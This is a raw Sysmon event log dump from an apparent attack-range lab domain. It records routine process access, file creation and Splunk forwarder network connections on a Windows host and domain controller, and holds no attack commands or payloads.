14:42:31.684{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013459Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:31.684{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013458Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:31.684{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013457Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:31.684{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013456Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:31.684{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013455Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:31.684{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013454Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:31.684{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013453Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:31.684{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013452Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:31.684{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013451Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:31.684{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-6ED7-613B-8604-00000000F101}3092C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000013450Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:31.684{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-6ED7-613B-8604-00000000F101}3092C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000013449Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:31.685{625C326B-6ED7-613B-8604-00000000F101}3092C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=BF28C74E12839E40CD89696C7CB01573,SHA256=6187325F302F232DE582FE28E0E0D2B292AB8122C3356C9CE295A482D7B93EA3,IMPHASH=27776F2813155A6CF34F6A075A0C2EC8{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000013448Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:31.496{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A9D977F43A7F805CB206993B18A1C85E,SHA256=28260B432174B28FCB45271676623AE6C9E0F9D4190512ED6C9B3AC2E9C45CF5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:31.916{7BD73061-65B2-613B-1100-00000000F001}432NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=4564DDE539A64350DF262A40BF99F573,SHA256=7554BDE24C3AF44608625441FB492661A52AFD051DB3E97A5207E46E9708435C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:31.525{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=717EC30326A452D6039A5DCCE8D1ABF8,SHA256=0EE9C6CFAF7EB70D992561244F571079077DC6EAA21F217EC4D02E3210DF4836,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000038300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:28.711{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59194-false10.0.1.12-8089- 23542300x800000000000000038299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:31.337{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:31.259{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=22A9309F7516DF528F081C2BD30F4181,SHA256=EA66C76DDD57F043CBD98F7D1927F63E550C641CF0F5DC5AF518475DF64EC837,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000013447Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:30.509{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50093-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000013491Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.824{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6ED8-613B-8804-00000000F101}2736C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013490Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.824{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013489Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.824{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013488Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.824{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013487Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.824{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013486Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.824{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013485Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.824{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013484Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.824{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013483Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.824{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013482Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.824{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=CC91B88F2575C93127AEC1D0CE214773,SHA256=6A5E80E423218F893838443E65A65CF2895F83933FF812474168892C7CA1D9A2,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000013481Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.824{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013480Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:32.824{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-6ED8-613B-8804-00000000F101}2736C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 